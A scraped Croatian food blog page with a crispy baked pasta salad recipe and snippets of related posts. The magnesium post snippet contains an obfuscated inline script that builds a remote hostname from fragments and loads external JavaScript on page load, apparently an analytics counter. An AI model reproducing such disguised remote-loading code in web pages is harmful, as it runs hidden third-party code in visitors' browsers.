HRSKAVA PASTA SALATA 🥗



<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Hrskava pasta salata 

https://www.journal.hr/lifestyle/gastro/hrskava-pasta-salata/

Ako tražite lagano, a istovremeno zasitno jelo koje se priprema brzo i bez mnogo komplikacija, hrskava pasta salata mogla bi postati vaš novi favorit. Spoj hrskave tjestenine, svježeg povrća i kremastog jogurt dressinga donosi savršenu ravnotežu tekstura i ukusa. Dovoljno elegantno za druženja, a dovoljno jednostavno za svakodnevni obrok. Ono što ovu salatu izdvaja od drugih jest neobičan korak u pripremi: skuhana tjestenina se naknadno peče dok ne postane zlatna i hrskava. Upravo taj kontrast između svježine zelene salate i topline, blago prepečene tjestenine daje jelu modernu, gotovo street-food notu, ali u zdravijoj i laganijoj verziji.




Hrskava pasta salata 


Sastojci:


Za salatu:

  • kratka tjestenina (rigatoni, penne ili farfalle)

  • iceberg ili romaine zelena salata

  • cherry rajčice

  • crveni luk

  • svježe začinsko bilje (peršin ili bosiljak)

  • maslinovo ulje

  • sol i papar


Za jogurt dressing:

  • čvrsti jogurt

  • kiselo vrhnje

  • senf

  • limunov sok

  • sol i papar

  • češnjak u prahu






Priprema:

  • Tjesteninu skuhajte u većoj količini posoljene vode dok ne bude al dente, oko osam do deset minuta.
  • Dobro je ocijedite i ostavite pa začinite maslinovim uljem, solju i paprom. Tako pripremljenu pastu rasporedite u fritezi na vruć zrak i pecite na 200 stupnjeva oko 15 do 18 minuta, dok ne postane zlatna i hrskava.
  • U međuvremenu operite i grubo isjeckajte zelenu salatu, prepolovite cherry rajčice, tanko narežite crveni luk i usitnite svježe začinsko bilje. Sve sastojke stavite u veliku zdjelu.
  • Za dressing sjedinite jogurt, vrhnje, senf, limunov sok, sol, papar i češnjak u prahu, pa umutite dok ne dobijete glatku, kremastu teksturu.
  • Prelijte salatu dresingom, dodajte hrskavu tjesteninu i lagano promiješajte neposredno prije serviranja.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više